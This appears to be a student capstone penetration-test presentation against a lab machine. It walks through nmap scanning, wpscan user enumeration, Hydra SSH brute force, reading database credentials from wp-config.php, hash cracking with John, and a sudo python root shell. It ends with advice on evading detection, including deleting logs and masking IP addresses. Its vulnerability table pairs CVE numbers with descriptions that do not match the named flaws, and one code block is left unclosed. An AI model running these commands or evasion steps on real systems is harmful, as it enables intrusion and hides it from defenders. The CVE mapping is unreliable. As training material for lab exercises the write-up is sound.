Network Topology & Critical Vulnerabilities

Network Topology

Network

Address Range:192.168.1.0/24
Netmask: 255.255.255.0
Gateway: 192.168.1.1

Machines

IPv4: 192.168.1.110
OS: DEBIAN GNU/LINUX8
Hostname: TARGET 1

IPv4: 192.168.1.105
OS:UBUNTU 18.04.1LTS
Hostname: CAPSTONE

IPv4: 192.168.1.90
OS:DEBIAN KALI GNU 2020.1
Hostname: KALI

IPv4: 192.168.1.100
OS:UBUNTU 18.04.4LTS
Hostname:ELK

Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities in **Target 1**.

Vulnerability	Description	Impact
HTML Password Hash Disclosure (CVE-2019-15653)	The HTML source code of the login page contains values that allow obtaining the username and password.	This vulnerability can disrupt business processes by the intercept of vital information, accesses to proprietary data, and more.
Exposed Username And Weak Password (CVE-2017-7760)	The location of the original file can be altered by a malicious user by passing a special path to the callback parameter through the Mozilla Maintenance Service, allowing the manipulation of files in the installation directory and privilege escalation by manipulating the Mozilla Maintenance Service, which has privileged access.	This vulnerability can cause massive loss of data, potential reputation and financial losses.
SSH Remote Login (CVE-2021-28041)	Any versions of OpenSSH prior to 8.5 are susceptible to an exploit that allows the gaining of access remotely.	This vulnerability could lead to disclosure of sensitive information, addition or modification of data, or Denial of Service (DoS).
Python Privilege Escalation (CVE-2018-1000030)	When processing large amounts of data with multiple threads, it is possible to create a condition where a buffer that gets allocated with one thread is reallocated due to a large size of input.	This vulnerability can cause a breach when a large amount of data is being processed, which can cause memory corruption.

Exploits Used

Exploitation: Network mapping

Summarize the following:

- Use nmap to scan for running services and open ports (nmap -sV 192.168.1.110)
- The scan show port 22 and port 80 are open on Target1. We used these ports to exploit the target.
- With port 80 open we see if there is a working website. (<http://192.168.1.110>)
- By poking around we found flag1(192.168.1.110/services.html)

```
Nmap scan report for 192.168.1.110
Host is up (0.00074s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The screenshot shows a Kali Linux virtual machine with a web browser displaying the source code of a file at `http://192.168.1.110/service.html`. The browser's address bar shows the URL, and the page title is "Service Not Found". The source code is displayed in a dark-themed editor, showing HTML structure with a form and several JavaScript files loaded from external sources like Cloudflare and Google Maps. The code includes a form with a button and an input field, and a footer section with social media links and a list of JavaScript files.

Exploitation: Wordpress database scan

Summarize the following:

- Find users/authors of Wordpress website(<http://192.168.1.110>)
- wpscan will enumerate users by “Author ID Brute Forcing”(wpscan --url <http://192.168.1.110/wordpress> -eu)
- Identified michael and steven as users, confirmed by login error message

```

Exploitation: SSH remote login and Weak password

Summarize the following:

- Using Hydra to brute force login(hydra -l michael -P /usr/share/wordlists/rockyou.txt -s 22 192.168.1.110 ssh)
- Password was found for michael allowing us to login in via ssh(ssh michael@192.168.1.110)
- Password was michael
- Flag 2 was found in flag2.txt in the /var/www folder

```
[DATA] attacking ssh://192.168.1.110:22/

Exploitation: Access to MySQL Database

Summarize the following:

- Logged in as michael we are able to look at the wp-config.php(nano /var/www/html/wordpress/wp-config.php)
- Found MySQL login info(DB_USER: root DB_PASSWORD: R@v3nSecurity) Login using(mysql -u root -p) commands used with mysql(use wordpress; use databases; show tables;)

```
/** MySQL database username */  
define('DB_USER', 'root');  
  
/** MySQL database password */  
define('DB_PASSWORD', 'R@v3nSecurity');
```

```

Exploitation: Pulling Data from MySQL

Summarize the following:

- MySQL database enumeration
- Password hashes could be found using(select * wp_users;) command
- Flag 3&4 were found using(select * wp_posts;) command

```
mysql> select * from wp_users;
```

ID	user_login	user_pass	user_nicename	user_email	user_url	user_registered	user_activation_key	user_status	display_name

Exploitation: Brute Force Steven/Remote Code Execution/Privilege Escalation

Summarize the following:

- Took steven's password hash(unsalted) from database and saved to crack.txt
- Brute Force hash with John the Ripper(john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt)
password for steven: pink84
- SSH into steven's account(ssh steven@localhost)
- Escalate to root(sudo python -c 'import pty;pty.spawn("/bin/bash");')
- Flag4 is located in root directory

```
root@Kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt crack
.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P
$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84          (steven)
```

```
$ sudo python -c 'import pty;pty.spawn("/bin/bash");'
```

[illegible]

Avoiding Detection

Stealth Exploitation of HTML Password Hash Disclosure

Monitoring Overview

- To detect people accessing the website / html source code would be difficult as that would consist of nearly all traffic for the company, whether they were secure or insecure connections.

Mitigating Detection

- Accessing the website from open wap's (such as mcdonald's / starbucks / or a hospital) would further dilute the connection to the host website, and or using a encrypted vpn.

Stealth Exploitation of Exposed Username and Weak Password

Monitoring Overview

- Alerts that detect this are ones looking for failed logins from the same IP.
- These are measured in just the number of login attempts or potentially how many 404 errors are returned during the brute force. These numbers are gathered with metricbeat
- These depend on the size of the user base but failed logins fire at lower numbers while 404 errors will normally fire at medium to high numbers

Mitigating Detection

- Collecting traffic through wireshark to gather hashes of passwords and cracking those hashes offline could be one way to bypass alerting anyone of your attack.
- One can use social engineering to completely get away from a computer on the network to gather passwords from users to get around the need to brute force.

Stealth Exploitation of SSH Remote Login

Monitoring Overview

- Alerts based on unique ip address / disabled port access for port 22
- Secure network traffic - wireshark is able to capture ssh traffic which could be measured by packetbeat
- baseline of ssh connections for company + 1, as secured connections it would be more useful to have false positives than a breach occur

Mitigating Detection

- The premise behind stealth ssh would be creating a shell connection through a separate exploit that could access to the computer and could enable root permissions for a ssh login, thereby allowing for an ssh tunnel that could be configured with a uniquely mirrored name and key, then configuring the sshd_config to remove your data

Stealth Exploitation of Python Privilege Escalation

Monitoring Overview

- Alerts that can detect this are ones that look for when a terminal is spawned via Python.
- This is measured when a terminal is spawned and how it was spawned. This can be gathered from auditbeat with the correct settings.
- The threshold for this will be very low. Depending on the origin of the terminal it will alert the user if even one terminal is spawned with python if that is out of the ordinary.

Mitigating Detection

- To reduce detection we would use masked IP addresses as well as we'd be removing the logs created from us spawning the terminal from the python script.

Thank
You
